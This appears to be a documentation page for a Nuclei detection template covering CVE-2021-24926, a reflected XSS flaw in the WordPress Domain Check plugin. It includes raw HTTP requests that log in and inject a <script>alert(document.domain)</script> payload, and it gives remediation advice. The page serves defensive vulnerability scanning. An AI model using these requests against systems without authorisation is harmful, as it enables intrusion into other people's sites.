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WordPress Domain Check <1.0.17 - Cross-Site Scripting

ID: CVE-2021-24926

Severity: medium

Author: cckuailong

Tags: cve,cve2021,wpscan,xss,wp,wordpress,wp-plugin,authenticated,domaincheckplugin

Description

Section titled “Description”

WordPress Domain Check plugin before 1.0.17 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the domain parameter before outputting it back in the page.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24926


info:
  name: WordPress Domain Check <1.0.17 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: WordPress Domain Check plugin before 1.0.17 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the domain parameter before outputting it back in the page.
  remediation: |
    Update to WordPress Domain Check plugin version 1.0.17 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8cc7cbbd-f74f-4f30-9483-573641fea733
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24926
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24926
    cwe-id: CWE-79
    epss-score: 0.00171
    epss-percentile: 0.54011
    cpe: cpe:2.3:a:domaincheckplugin:domain_check:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: domaincheckplugin
    product: domain_check
    framework: wordpress
  tags: cve,cve2021,wpscan,xss,wp,wordpress,wp-plugin,authenticated,domaincheckplugin


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=domain-check-profile&domain=test.foo<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Domain Check"
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402206a2090743c1eba51c5fa6ff5054b66b441424fa6a538b38b735fc404a47c9ddd0220530e867eab3d3d8e157180631799d06dac977e1c96f16f7901af083dd3ed7df5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24926.yaml"

View on Github